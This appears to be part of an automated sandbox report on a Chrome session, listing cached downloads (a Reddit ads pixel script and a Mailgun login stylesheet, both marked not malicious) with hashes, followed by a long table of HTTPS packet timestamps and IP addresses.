Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 43430
Category:	downloaded
Size (bytes):	12116
Entropy (8bit):	7.984694744614838
Encrypted:	false
SSDEEP:	192:26MV2PEUWRRI2V6SKbQ5W3YmOCf3OrXT9WVH5yGIt9IKyLPlIUjtiXuXTthBR5:+tjRIm6SoITu3khUZS9yLPlIhuDLd
MD5:	71B328AFF914ADA8B774BFA8FFF542C4
SHA1:	3FB33AE4AB66FFFD1BA62BADC661BD910CDF8CF3
SHA-256:	52056C6C133887292D444EB1152DEC3F0A134FB0ED4DC33C2B116AC480455A3C
SHA-512:	933B32DE0C08CB7C7EF44E07F9D74FA5D034B4BC4B350207E343D7E613C56F926AAD4AECF0BEE4F897E4A056F3314E8F5737A9852F9D704FF99F41A4F1C80A17
Malicious:	false
Reputation:	low
URL:	https://www.redditstatic.com/ads/pixel.js
Preview:	...........;ks.....n..i....k\....<.L..J..P"$F.q....{.%....;;.6.B.}N.w.>.....I.0(EF.J..t$T=4......yc....J...T.4..%......."\..F......d..%...U52..c+>F..f..JV...... ......."tW>..[.x....L.Q.P.u't..\]wF..w=.._.z....Boi...'.c.FIl<m6M..]u.;..K....F..'.Y.R........AK.M..3.c.N.....D....yf..&...Y2oz......uS..Q.j.]&$...8[.i..6cT..L5.....#..Q.&hj;I.=6I.L.^,F..v;z\&...S4.....N.h...\|.].@..D..B.=a..pz.P.....e.5...vQ....G~.fK...2..A.r9ko...ihO...R...[-...}.=.T.39O!.3"....(.....C.....q...8.E..6...}..]t.D...'gN.;.2.>....k.+.S)D.....0...".Q.i.,./r.(....Nn.Tmhz.m.Kx]Zj....y.<...;.D.r..H...U....@%.Kb...W.V.{..`i......._...'.!)5.CGd.....e.+^...E.8.Q..d.....4.#...\|_.7.UCm..I{.{.f['...`..c:mBjMp......N..F..1.>*. YR...N....~te.B.}n....M..q.<...x.....N:.6.....CT..+^.1........!;...8....P..d+>.q",3..qW.....qb....:....C@ey.$..c.D.e..D...-..<...!......$.d...I`sj.;yplf.....<Y.2I.y.L.Du1".K..... gWn.4.2.....l..0ri....I...Q......X.x.}.?.......A.I..).g.a4.....o..-c

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	12089
Entropy (8bit):	5.101556904245896
Encrypted:	false
SSDEEP:	192:669repv2GmNHKGFtS1dmrogT6xAl4M/SL4EaqzNh0h5x2HbQX:BZL9rX+wN5o8
MD5:	3468CB441384C6AB07553238207521DF
SHA1:	C82F97B61F190F4975B846AB01B947A861EFCFCB
SHA-256:	94C2930B734D6FBE51744402E21501FABF6AA6FB65B79B0F0160094358BD32F0
SHA-512:	36355BF816971788F5CBAE00C21063DF67BBB37733A0D646A530AD505B8F3064A54F196719D9F73CD8FE145F0BA30705F76828B2604CE9726E4C821ACB2F147A
Malicious:	false
Reputation:	low
URL:	https://login.mailgun.com/login/static/style.css?v=1.0.0
Preview:	/* source-serif-pro-600 - latin /.@font-face {. font-family: 'Source Serif Pro';. font-style: normal;. font-weight: 600;. src: url('source-serif-pro-v11-latin-600.woff') format('woff');.}../ source-serif-pro-700 - latin /.@font-face {. font-family: 'Source Serif Pro';. font-style: normal;. font-weight: 700;. src: url('source-serif-pro-v11-latin-700.woff') format('woff');.}../ roboto-300 - latin /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. src: url('roboto-v27-latin-300.woff') format('woff'); / Chrome 6+, Firefox 3.6+, IE 9+, Safari 5.1+ /.}../ roboto-regular - latin /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url('roboto-v27-latin-regular.woff') format('woff'); / Chrome 6+, Firefox 3.6+, IE 9+, Safari 5.1+ /.}../ roboto-500 - latin /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 500;. src: url('roboto-v27-latin-500.woff') format('woff'); / Chrome 6+, F

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 14:38:29.798377991 CEST	49674	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:29.798381090 CEST	49675	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:29.923387051 CEST	49673	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:38.607014894 CEST	49709	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:38.607059002 CEST	443	49709	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:38.607304096 CEST	49709	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:38.607414007 CEST	49709	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:38.607424021 CEST	443	49709	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:38.607835054 CEST	49710	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:38.607851028 CEST	443	49710	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:38.608279943 CEST	49710	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:38.608529091 CEST	49710	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:38.608544111 CEST	443	49710	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.391577005 CEST	443	49709	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.391972065 CEST	49709	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.391993046 CEST	443	49709	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.393091917 CEST	443	49709	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.393987894 CEST	49709	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.394526958 CEST	49709	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.394526958 CEST	49709	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.394535065 CEST	443	49709	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.394615889 CEST	443	49709	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.410043001 CEST	49675	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:39.418659925 CEST	443	49710	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.419171095 CEST	49710	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.419198036 CEST	443	49710	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.420334101 CEST	443	49710	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.420958996 CEST	49710	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.420958996 CEST	49710	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.421046972 CEST	443	49710	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.472440004 CEST	49674	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:39.472456932 CEST	49710	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.472456932 CEST	49709	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.472492933 CEST	443	49710	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.472508907 CEST	443	49709	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.526076078 CEST	49673	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:39.526139021 CEST	49710	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.572968006 CEST	49709	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.683136940 CEST	443	49709	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.683269978 CEST	443	49709	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.683365107 CEST	49709	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.689317942 CEST	49709	443	192.168.2.5	167.89.118.28
Jul 3, 2024 14:38:39.689348936 CEST	443	49709	167.89.118.28	192.168.2.5
Jul 3, 2024 14:38:39.747961998 CEST	49711	443	192.168.2.5	172.67.147.221
Jul 3, 2024 14:38:39.747999907 CEST	443	49711	172.67.147.221	192.168.2.5
Jul 3, 2024 14:38:39.748089075 CEST	49711	443	192.168.2.5	172.67.147.221
Jul 3, 2024 14:38:39.748531103 CEST	49711	443	192.168.2.5	172.67.147.221
Jul 3, 2024 14:38:39.748541117 CEST	443	49711	172.67.147.221	192.168.2.5
Jul 3, 2024 14:38:40.215276003 CEST	443	49711	172.67.147.221	192.168.2.5
Jul 3, 2024 14:38:40.215749025 CEST	49711	443	192.168.2.5	172.67.147.221
Jul 3, 2024 14:38:40.215785027 CEST	443	49711	172.67.147.221	192.168.2.5
Jul 3, 2024 14:38:40.216821909 CEST	443	49711	172.67.147.221	192.168.2.5
Jul 3, 2024 14:38:40.216912985 CEST	49711	443	192.168.2.5	172.67.147.221
Jul 3, 2024 14:38:40.218847990 CEST	49711	443	192.168.2.5	172.67.147.221
Jul 3, 2024 14:38:40.218926907 CEST	443	49711	172.67.147.221	192.168.2.5
Jul 3, 2024 14:38:40.219139099 CEST	49711	443	192.168.2.5	172.67.147.221
Jul 3, 2024 14:38:40.219151020 CEST	443	49711	172.67.147.221	192.168.2.5
Jul 3, 2024 14:38:40.271334887 CEST	49711	443	192.168.2.5	172.67.147.221
Jul 3, 2024 14:38:40.337899923 CEST	443	49711	172.67.147.221	192.168.2.5
Jul 3, 2024 14:38:40.337975979 CEST	443	49711	172.67.147.221	192.168.2.5
Jul 3, 2024 14:38:40.338078976 CEST	49711	443	192.168.2.5	172.67.147.221
Jul 3, 2024 14:38:40.339364052 CEST	49711	443	192.168.2.5	172.67.147.221
Jul 3, 2024 14:38:40.339406013 CEST	443	49711	172.67.147.221	192.168.2.5
Jul 3, 2024 14:38:40.376929045 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:40.376991034 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:40.377080917 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:40.377413034 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:40.377429008 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.017198086 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.039060116 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.039107084 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.040224075 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.040282965 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.046796083 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.046926975 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.047270060 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.047282934 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.099983931 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.120839119 CEST	49715	443	192.168.2.5	142.250.185.132
Jul 3, 2024 14:38:41.120871067 CEST	443	49715	142.250.185.132	192.168.2.5
Jul 3, 2024 14:38:41.120930910 CEST	49715	443	192.168.2.5	142.250.185.132
Jul 3, 2024 14:38:41.121783972 CEST	49715	443	192.168.2.5	142.250.185.132
Jul 3, 2024 14:38:41.121793032 CEST	443	49715	142.250.185.132	192.168.2.5
Jul 3, 2024 14:38:41.184573889 CEST	443	49703	23.1.237.91	192.168.2.5
Jul 3, 2024 14:38:41.184659004 CEST	49703	443	192.168.2.5	23.1.237.91
Jul 3, 2024 14:38:41.204987049 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.205017090 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.205025911 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.205049038 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.205056906 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.205064058 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.205070972 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.205089092 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.205137968 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.205157995 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.256458998 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.291930914 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.291944027 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.291996956 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.292012930 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.292016983 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.292042971 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.292077065 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.292093039 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.296510935 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.296519995 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.296575069 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.296602011 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.296616077 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.298798084 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.298798084 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.374350071 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.374429941 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.374458075 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.374454021 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.374524117 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.374524117 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.377463102 CEST	49714	443	192.168.2.5	13.107.246.42
Jul 3, 2024 14:38:41.377526045 CEST	443	49714	13.107.246.42	192.168.2.5
Jul 3, 2024 14:38:41.760183096 CEST	443	49715	142.250.185.132	192.168.2.5
Jul 3, 2024 14:38:41.760531902 CEST	49715	443	192.168.2.5	142.250.185.132
Jul 3, 2024 14:38:41.760557890 CEST	443	49715	142.250.185.132	192.168.2.5
Jul 3, 2024 14:38:41.761709929 CEST	443	49715	142.250.185.132	192.168.2.5
Jul 3, 2024 14:38:41.761846066 CEST	49715	443	192.168.2.5	142.250.185.132
Jul 3, 2024 14:38:41.832123041 CEST	49715	443	192.168.2.5	142.250.185.132
Jul 3, 2024 14:38:41.832277060 CEST	443	49715	142.250.185.132	192.168.2.5
Jul 3, 2024 14:38:41.882266998 CEST	49715	443	192.168.2.5	142.250.185.132
Jul 3, 2024 14:38:41.882291079 CEST	443	49715	142.250.185.132	192.168.2.5
Jul 3, 2024 14:38:41.884083986 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:41.884124041 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:41.884329081 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:41.886930943 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:41.886944056 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:41.927767038 CEST	49715	443	192.168.2.5	142.250.185.132
Jul 3, 2024 14:38:42.417588949 CEST	49717	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:42.417632103 CEST	443	49717	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:42.417804956 CEST	49717	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:42.420986891 CEST	49717	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:42.421005964 CEST	443	49717	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:42.558775902 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.559210062 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.559225082 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.560128927 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.560215950 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.561939001 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.562002897 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.562278032 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.562300920 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.604523897 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.725964069 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.725991011 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.725999117 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.726011992 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.726042032 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.726075888 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.726109028 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.726181030 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.726181030 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.781286001 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.781310081 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.781475067 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.781475067 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.781488895 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.781574011 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.812545061 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.812566042 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.812617064 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.812633038 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.812694073 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.867958069 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.867985964 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.868027925 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.868045092 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.868084908 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.872066021 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.872088909 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.872128010 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.872142076 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.872179031 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.872198105 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.875396967 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.875420094 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.875456095 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.875472069 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.875497103 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.875518084 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.937180042 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.937205076 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.937257051 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.937271118 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.937303066 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.937321901 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.954745054 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.954762936 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.954816103 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.954823017 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.954869986 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.958373070 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.958389997 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.958448887 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.958453894 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.958492041 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.961122036 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.961137056 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.961182117 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.961188078 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.961230040 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.972338915 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.972357035 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.972395897 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.972400904 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.972444057 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.975776911 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.975795031 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.975828886 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.975833893 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.975877047 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.978631020 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.978648901 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.978679895 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:42.978684902 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:42.978729010 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:43.093866110 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.093890905 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.093940973 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:43.093959093 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.094014883 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:43.096529007 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.096545935 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.096602917 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:43.096611977 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.096657991 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:43.099092007 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.099107027 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.099168062 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:43.099179029 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.099216938 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:43.100100040 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.100156069 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:43.100162029 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.100174904 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.100209951 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:43.100455046 CEST	49716	443	192.168.2.5	142.11.212.118
Jul 3, 2024 14:38:43.100472927 CEST	443	49716	142.11.212.118	192.168.2.5
Jul 3, 2024 14:38:43.110157013 CEST	443	49717	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:43.110219955 CEST	49717	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:43.113974094 CEST	49717	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:43.113985062 CEST	443	49717	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:43.114204884 CEST	443	49717	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:43.161237001 CEST	49717	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:43.208498001 CEST	443	49717	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:43.429006100 CEST	443	49717	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:43.429076910 CEST	443	49717	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:43.429128885 CEST	49717	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:43.692076921 CEST	49717	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:43.692109108 CEST	443	49717	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:43.815788984 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:43.815799952 CEST	443	49720	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:43.815885067 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:43.816061020 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:43.816080093 CEST	443	49721	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:43.816145897 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:43.816395998 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:43.816406965 CEST	443	49722	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:43.816658020 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:43.817612886 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:43.817672968 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:43.817728043 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:43.818195105 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:43.818228006 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:43.818291903 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:43.824122906 CEST	49725	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:43.824151039 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:43.824284077 CEST	49725	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:43.825588942 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:43.825609922 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:43.825901031 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:43.827852011 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:43.827866077 CEST	443	49720	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:43.828430891 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:43.828440905 CEST	443	49721	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:43.828738928 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:43.828746080 CEST	443	49722	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:43.829170942 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:43.829184055 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:43.829588890 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:43.829598904 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:43.830225945 CEST	49725	443	192.168.2.5	18.239.83.17
